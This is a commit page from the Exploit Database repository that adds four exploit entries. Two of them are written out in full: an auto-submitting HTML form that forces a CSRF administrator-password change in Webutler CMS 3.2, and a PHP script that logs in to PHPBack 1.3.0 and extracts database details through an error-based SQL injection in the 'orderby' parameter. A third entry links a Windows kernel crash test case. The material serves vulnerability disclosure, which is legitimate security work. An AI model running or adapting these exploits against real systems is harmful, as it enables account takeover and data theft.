Skip to content

Commit

Permalink
DB: 2016-04-21
Browse files Browse the repository at this point in the history 
4 new exploits

Webutler CMS 3.2 - Cross-Site Request Forgery
PHPBack 1.3.0 - SQL Injection
Windows Kernel - DrawMenuBarTemp Wild-Write (MS16-039)
Hyper-V - vmswitch.sys VmsMpCommonPvtHandleMulticastOids Guest to Host Kernel-Pool Overflow
  • Loading branch information
Offensive Security committed Apr 21, 2016
1 parent c5173de commit bd5d486
Show file tree
Hide file tree
Showing 5 changed files with 624 additions and 0 deletions.
4 changes: 4 additions & 0 deletions files.csv
View file
Original file line number Diff line number Diff line change
Expand Up @@ -35924,6 +35924,10 @@ id,file,description,date,author,platform,type,port
39704,platforms/php/webapps/39704.txt,"WordPress leenk.me Plugin 2.5.0 - CSRF/XSS",2016-04-18,cor3sm4sh3r,php,webapps,80
39705,platforms/php/webapps/39705.txt,"WordPress Kento Post View Counter Plugin 2.8 - CSRF/XSS",2016-04-18,cor3sm4sh3r,php,webapps,80
39706,platforms/hardware/dos/39706.txt,"TH692 Outdoor P2P HD Waterproof IP Camera - Hard Coded Credentials",2016-04-18,DLY,hardware,dos,0
39707,platforms/php/webapps/39707.txt,"Webutler CMS 3.2 - Cross-Site Request Forgery",2016-04-18,"Keerati T.",php,webapps,80
39708,platforms/multiple/remote/39708.rb,"Novell ServiceDesk Authenticated File Upload",2016-04-18,metasploit,multiple,remote,80
39709,platforms/php/webapps/39709.txt,"pfSense Community Edition 2.2.6 - Multiple Vulnerabilities",2016-04-18,Security-Assessment.com,php,webapps,443
39710,platforms/php/webapps/39710.txt,"modified eCommerce Shopsoftware 2.0.0.0 rev 9678 - Blind SQL Injection",2016-04-19,"Felix Maduakor",php,webapps,80
39711,platforms/php/webapps/39711.php,"PHPBack 1.3.0 - SQL Injection",2016-04-20,hyp3rlinx,php,webapps,80
39712,platforms/win64/dos/39712.txt,"Windows Kernel - DrawMenuBarTemp Wild-Write (MS16-039)",2016-04-20,"Nils Sommer",win64,dos,0
39713,platforms/windows/dos/39713.c,"Hyper-V - vmswitch.sys VmsMpCommonPvtHandleMulticastOids Guest to Host Kernel-Pool Overflow",2016-04-20,"Google Security Research",windows,dos,0
50 changes: 50 additions & 0 deletions platforms/php/webapps/39707.txt
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
Dear OffSec,

Here is the vulnerability detail as I submitted

*# Exploit Title: Webutler CMS Cross-Site Request Forgery*
*# Date: 18 April 2016*
*# Exploit Author: Keerati T. (Post)*
*# Vendor Homepage: http://webutler.de/en <http://webutler.de/en>*
*# Software Link: http://webutler.de/download/webutler_v3.2.zip
<http://webutler.de/download/webutler_v3.2.zip>*
*# Version: 3.2*
*# Tested on: Linux*

*1.Description*
The Webutler is a simple online page editor for static HTML files.
Webmasters can provide a simple login option for image and text editing to
their customers. The Webutler is a tool for websites or projects to be
implemented with a small effort. The project has grown over the years and
now you can do a lot of things with it.
The all of administrative function allow any users to perform HTTP request
without verify the request. This exploit can be performed while the logged
on user (administrator) visit malicious web page that embedded HTML form.


*2. Proof of Concept*
Only change password function PoC, But other function (add page, delete
page, etc..) can be exploited.

<html>
<body>
<form action="http://10.0.0.102/webutler/admin/system/save.php"
method="POST">
<input type="hidden" name="saveuser" value="1" />
<!-- administrator user name is "root" -->
<input type="hidden" name="username" value="root" />
<input type="hidden" name="userpass1" value="111111" />
<input type="hidden" name="userpass2" value="111111" />
<input type="hidden" name="userlang" value="en" />
</form>
</body>
<script>document.forms[0].submit();</script>
</html>


*3. Timeline*
11 Apr 2016 - Vulnerability discover.
11 Apr 2016 - No main contact available on vendor web page. Ask related
contact that shown on vendor web page instead.
18 Apr 2016 - No response from related contact and vulnerability disclosed.

172 changes: 172 additions & 0 deletions platforms/php/webapps/39711.php
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,172 @@
/*
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/PHPBACK-v1.3.0-SQL-INJECTION.txt


Vendor:
================
www.phpback.org


Product:
================
PHPBack v1.3.0


Vulnerability Type:
===================
SQL Injection


CVE Reference:
==============
N/A


Vulnerability Details:
=====================

PHPBack v1.3.0 is vulnerable to boolean blind and error based SQL Injection in the 'orderby' parameter.
By sending SQL Injection query using MySQL XPATH function ExtractValue() we can grab information
from the errors generated.

This is useful when we get no output except MySQL errors, we can force data extraction through the error.
When using ExtractValue() function to generate error, evaluated results of our SQL query will be embedded
in query error message. Adding a colon "0x3a" to the beginning of the query will ensure parsing will always
FAIL generating an error along with our extracted data. This method only works on MySQL version >= 5.1, we can
then use SQL LIMIT function to move thru database informations.


Users should upgrade to v1.3.1
https://github.com/ivandiazwm/phpback/releases


Exploit code(s):
===============

Run from CL...
*/

<?php
error_reporting(0);
#PHPBACK v1.3.0 ORDER BY SQL INJECTION POC
#Credit: hyp3rlinx
#ISR: apparitionsec
#Site: hyp3rlinx.altervista.org
#///////////////////////////////////////////////////////////////////
#
#run this BOT from CL it does following...
#1) authenticates to target
#2) SQL injection using XPATH query to create error and get output
# for current MySQL USER(), DATABASE() and VERSION()
#Supported in MySQL >= 5.1 only
#====================================================================

$email=$argv[1];
$pwd=$argv[2];

if($argc<3){
echo "PHPBack 1.3.0 SQL Injection POC\r\n";
echo "Outputs USER(), DATABASE() and VERSION() on XPATH Error!\r\n";
echo "Supported in MySQL >= 5.1 versions only\r\n";
echo "==========================================================\r\n";
echo "Enter Creds: <email> <password>\r\n";
echo "*** by hyp3rlinx *** \r\n";
exit();
}

$target="localhost";
$creds="email=$email&password=$pwd";

$fp = fsockopen("localhost", 80, $errno, $errstr, 30);
sock_chk($fp);

#authenticate
$out = "POST /phpback-1.3.0/action/login HTTP/1.0\r\n";
$out .= "Host: $target\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= 'Content-Length: ' . strlen($creds) . "\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
fwrite($fp, $creds);
$phpsess="";
$res="";
while (!feof($fp)) {
$res .= fgets($fp, 128);
if(strpos($res,"\r\n\r\n")!==FALSE){break;}
}

$sess=get_session($fp);
function get_session($sock){
global $res;
$idx=strpos($res,"PHPSESSID");
$sess=substr($res,$idx,38);
return $sess;
}

#SQL Injection
$sql="search=1&orderby=title,extractvalue(0x0a,concat(0x0a,(select USER()), 0x0a, (select DATABASE()), 0x0a, (select VERSION())))\r\n";

$fp = fsockopen("localhost", 80, $errno, $errstr, 30);
sock_chk($fp);

$out = "POST /phpback-1.3.0/admin/ideas HTTP/1.0\r\n";
$out .= "Host: $target\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= 'Content-Length: ' . strlen($sql) . "\r\n";
$out .= "Cookie: " . $sess."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
fwrite($fp, $sql);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
function sock_chk(&$fp){
if (!$fp) {echo "Cant connect!";exit();}
}

?>


/*
Disclosure Timeline:
=====================================
Vendor Notification: April 17, 2016
Vendor Confirms: April 17, 2016
Vendor Release Fixed Version: April 19, 2016
April 19, 2016 : Public Disclosure


Exploitation Technique:
=======================
Remote


Severity Level:
================
Medium


Description:
==================================================

Request Method(s): [+] POST


Vulnerable Product: [+] PHPBack v1.3.0


Vulnerable Parameter(s): [+] 'orderby'

====================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. All content (c) hyp3rlinx.

by hyp3rlinx
*/
8 changes: 8 additions & 0 deletions platforms/win64/dos/39712.txt
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=707

The attached testcases crashes Windows 7 64-bit while attempting to write to an unmapped memory region. On 32-bit Windows 7 it triggers a null pointer read.


Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39712.zip

Loading

0 comments on commit bd5d486

Please sign in to comment.